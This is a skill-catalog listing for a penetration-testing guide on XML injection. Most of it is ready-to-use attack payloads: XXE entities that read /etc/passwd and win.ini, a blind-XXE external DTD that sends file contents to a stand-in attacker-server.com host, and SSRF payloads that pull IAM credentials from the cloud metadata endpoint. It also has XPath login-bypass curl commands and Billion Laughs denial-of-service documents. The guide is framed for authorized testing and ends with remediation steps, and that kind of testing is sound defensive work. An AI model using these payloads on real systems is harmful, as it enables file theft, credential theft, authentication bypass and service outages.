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Testing For Xml Injection Vulnerabilities

  • 212 installs
  • 27.3k repo stars
  • Updated August 2, 2026
  • mukul975/anthropic-cybersecurity-skills

Test web endpoints and parsers for XML injection flaws so unsafe XML handling is found and fixed before attackers can manipulate queries, logic, or downstream systems.

About

Walks through testing web applications for XML injection vulnerabilities by crafting malicious payloads, probing parsers and APIs, confirming exploitability, and documenting fixes for unsafe XML deserialization, query manipulation, and logic bypass paths.

  • XML payload crafting
  • Parser abuse cases
  • Endpoint fuzzing
  • Impact assessment
  • Remediation guidance

Testing For Xml Injection Vulnerabilities by the numbers

  • 212 all-time installs (skills.sh)
  • +15 installs in the week ending Aug 4, 2026 (Skillselion tracking)
  • Ranked #756 of 2,203 Security skills by installs in the Skillselion catalog
  • Data as of Aug 5, 2026 (Skillselion catalog sync)
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Listed on Skillselion
Installs212
repo stars27.3k
Last updatedAugust 2, 2026
Repositorymukul975/anthropic-cybersecurity-skills

What it does

Test web endpoints and parsers for XML injection flaws so unsafe XML handling is found and fixed before attackers can manipulate queries, logic, or downstream systems.

Files

SKILL.mdMarkdownGitHub ↗

Testing for XML Injection Vulnerabilities

When to Use

  • When testing applications that process XML input (SOAP APIs, XML-RPC, file uploads)
  • During penetration testing of applications with XML parsers
  • When assessing SAML-based authentication implementations
  • When testing file import/export functionality that handles XML formats
  • During API security testing of SOAP or XML-based web services

Prerequisites

  • Burp Suite with XML-related extensions (Content Type Converter, XXE Scanner)
  • XMLLint or similar XML validation tools
  • Understanding of XML structure, DTDs, and entity processing
  • Python 3.x with lxml and requests libraries
  • Access to an out-of-band interaction server (Burp Collaborator, interact.sh)
  • Sample XXE payloads from PayloadsAllTheThings repository

Workflow

Step 1 — Identify XML Processing Endpoints

# Look for endpoints accepting XML content types
# Content-Type: application/xml, text/xml, application/soap+xml
# Check WSDL files for SOAP services
curl -s http://target.com/service?wsdl

# Test if endpoint accepts XML by changing Content-Type
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><root><test>hello</test></root>'

# Check for XML file upload functionality
# Look for .xml, .svg, .xlsx, .docx file processing

Step 2 — Test for Basic XXE (File Retrieval)

<!-- Basic XXE to read local files -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>

<!-- Windows file retrieval -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root><data>&xxe;</data></root>

<!-- Using PHP wrapper for base64-encoded file content -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<root><data>&xxe;</data></root>

Step 3 — Test for Blind XXE with Out-of-Band Detection

<!-- Out-of-band XXE using external DTD -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker-server.com/xxe.dtd">
  %xxe;
]>
<root><data>test</data></root>

<!-- External DTD file (xxe.dtd hosted on attacker server) -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker-server.com/?data=%file;'>">
%eval;
%exfil;

<!-- DNS-based out-of-band detection -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://xxe-test.burpcollaborator.net">
]>
<root><data>&xxe;</data></root>

Step 4 — Test for SSRF via XXE

<!-- Internal network scanning via XXE -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root><data>&xxe;</data></root>

<!-- AWS metadata endpoint access -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><data>&xxe;</data></root>

<!-- Internal port scanning -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal-server:8080/">
]>
<root><data>&xxe;</data></root>

Step 5 — Test for XPath Injection

# Basic XPath injection in search parameters
curl "http://target.com/search?query=' or '1'='1"

# XPath authentication bypass
curl -X POST http://target.com/login \
  -d "username=' or '1'='1&password=' or '1'='1"

# XPath data extraction
curl "http://target.com/search?query=' or 1=1 or ''='"

# Blind XPath injection with boolean-based extraction
curl "http://target.com/search?query=' or string-length(//user[1]/password)=8 or ''='"
curl "http://target.com/search?query=' or substring(//user[1]/password,1,1)='a' or ''='"

Step 6 — Test for XML Billion Laughs (DoS)

<!-- Billion Laughs attack (use only in authorized testing) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<root><data>&lol4;</data></root>

<!-- Quadratic blowup attack -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY a "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">
]>
<root>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;</root>

Key Concepts

ConceptDescription
XXE (XML External Entity)Attack exploiting XML parsers that process external entity references
Blind XXEXXE where response is not reflected; requires out-of-band channels
XPath InjectionInjection into XPath queries used to navigate XML documents
DTD (Document Type Definition)Declarations that define XML document structure and entities
Parameter EntitiesSpecial entities (%) used within DTDs for blind XXE exploitation
SSRF via XXEUsing XXE to make server-side requests to internal resources
XML BombDenial of service via recursive entity expansion (Billion Laughs)

Tools & Systems

ToolPurpose
Burp SuiteHTTP proxy with XXE Scanner extension for automated detection
XXEinjectorAutomated XXE injection and data exfiltration tool
OXML_XXETool for embedding XXE payloads in Office XML documents
xmllintXML validation and parsing utility for payload testing
interact.shOut-of-band interaction server for blind XXE detection
Content Type ConverterBurp extension to convert JSON requests to XML for XXE testing

Common Scenarios

1. File Disclosure — Read sensitive server files (/etc/passwd, web.config) through classic XXE entity injection in XML input fields 2. SSRF to Cloud Metadata — Access AWS/GCP/Azure metadata endpoints through XXE to steal IAM credentials and access tokens 3. Blind Data Exfiltration — Extract sensitive data through out-of-band DNS/HTTP channels when XXE output is not reflected 4. SAML XXE — Inject XXE payloads into SAML assertions during single sign-on authentication flows 5. SVG File Upload XXE — Upload malicious SVG files containing XXE payloads to trigger server-side XML parsing

Output Format

## XML Injection Assessment Report
- **Target**: http://target.com/api/xml-endpoint
- **Vulnerability Types Found**: XXE, Blind XXE, XPath Injection
- **Severity**: Critical

### Findings
| # | Type | Endpoint | Payload | Impact |
|---|------|----------|---------|--------|
| 1 | XXE File Read | POST /api/import | SYSTEM "file:///etc/passwd" | Local File Disclosure |
| 2 | Blind XXE | POST /api/upload | External DTD with OOB | Data Exfiltration |
| 3 | SSRF via XXE | POST /api/parse | SYSTEM "http://169.254.169.254/" | Cloud Credential Theft |

### Remediation
- Disable external entity processing in XML parser configuration
- Use JSON instead of XML where possible
- Implement XML schema validation with strict DTD restrictions
- Block outbound connections from XML processing services

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